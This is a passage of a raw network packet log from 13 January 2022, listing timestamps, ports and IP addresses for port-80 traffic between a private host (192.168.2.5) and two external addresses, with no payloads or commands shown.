Jan 13, 2022 20:51:25.266190052 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266206026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266217947 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266222954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266223907 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266254902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266266108 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266271114 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266272068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266289949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266305923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266323090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266330004 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266335011 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266343117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266360998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266377926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266393900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266396046 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266402960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266412973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266428947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266446114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266453981 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266458988 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266463041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266479969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266495943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266510963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266521931 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266526937 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266527891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266544104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266571999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266588926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266591072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266596079 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266608000 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266625881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266642094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266649961 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266655922 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266659975 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266678095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266693115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266707897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266719103 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266725063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266725063 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266741991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266758919 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266774893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266777992 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266782999 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266792059 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266808987 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266824007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266840935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266856909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266858101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266863108 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266875982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266892910 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266907930 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266926050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266942978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266943932 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266947985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266959906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266978979 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266993999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267005920 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267009974 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267010927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267029047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267044067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267060041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267066956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267072916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267076969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267092943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267107964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267118931 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267122984 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267123938 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267139912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.267189980 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.267195940 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.285386086 CET	49832	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.336072922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336093903 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336112022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336128950 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336144924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336162090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336165905 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336179972 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336191893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336196899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336214066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336230040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336237907 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336245060 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336247921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336266041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336289883 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336293936 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336338997 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336601019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336647987 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336669922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336702108 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336711884 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336755037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336774111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336790085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336798906 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336805105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336807013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336826086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336843014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336862087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336879015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336890936 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336895943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336896896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336913109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336922884 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.336930037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336947918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336962938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336978912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.336996078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337012053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337013960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.337019920 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.337029934 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337045908 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337061882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337079048 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337104082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337120056 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337136030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337152004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337232113 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337248087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337383986 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.337394953 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.337493896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337512016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.337562084 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338098049 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338116884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338134050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338145018 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338160038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338176966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338207006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338215113 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338239908 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338258982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338274956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338291883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338301897 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338306904 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338308096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338325024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338354111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338362932 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338368893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338372946 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338402033 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338426113 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338430882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338449001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338511944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338530064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338540077 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338546038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338546991 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338562965 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338579893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338597059 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338602066 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338615894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338634014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338644028 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338650942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338669062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338685036 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338701010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338711977 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338716984 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338717937 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338736057 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338748932 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338752985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338769913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338787079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338804007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338819981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338823080 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338829994 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.338835955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338852882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338869095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338885069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.338960886 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.339154959 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.339499950 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.339509964 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.340725899 CET	80	49832	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.340833902 CET	49832	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.340934992 CET	49832	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.340948105 CET	49832	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.396322966 CET	80	49832	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.407289982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407320023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407337904 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407355070 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407371998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407387972 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407404900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407423019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407438040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407447100 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407454014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407470942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407470942 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407488108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407505035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407512903 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407520056 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407524109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407578945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407582998 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407629967 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407648087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407692909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407738924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.407783031 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.407792091 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408067942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408087969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408103943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408130884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408149004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408164024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408188105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408196926 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408229113 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408260107 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408277035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408293009 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408303976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408309937 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408309937 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408341885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408359051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408386946 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408395052 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408402920 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408466101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408483982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408499002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408516884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408525944 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408533096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408533096 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408550024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408596992 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408605099 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408634901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408653975 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408674002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408693075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408709049 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408725023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408740997 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408749104 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408754110 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408759117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408776999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408793926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408809900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408809900 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408814907 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408827066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408843994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408859015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408875942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408906937 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408912897 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.408930063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408948898 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.408965111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409033060 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409041882 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409091949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409110069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409136057 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409152985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409178019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409193993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409194946 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409200907 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409212112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409229040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409277916 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409291029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409296036 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409307957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409324884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409353018 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409369946 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409384966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409400940 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409410954 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409416914 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409418106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409434080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409449100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409466982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409482002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409483910 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409488916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409512043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409528971 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409538031 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409544945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409558058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409576893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409593105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409619093 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409624100 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409641981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409661055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409677029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409696102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409712076 CET	80	49825	141.8.194.74	192.168.2.5
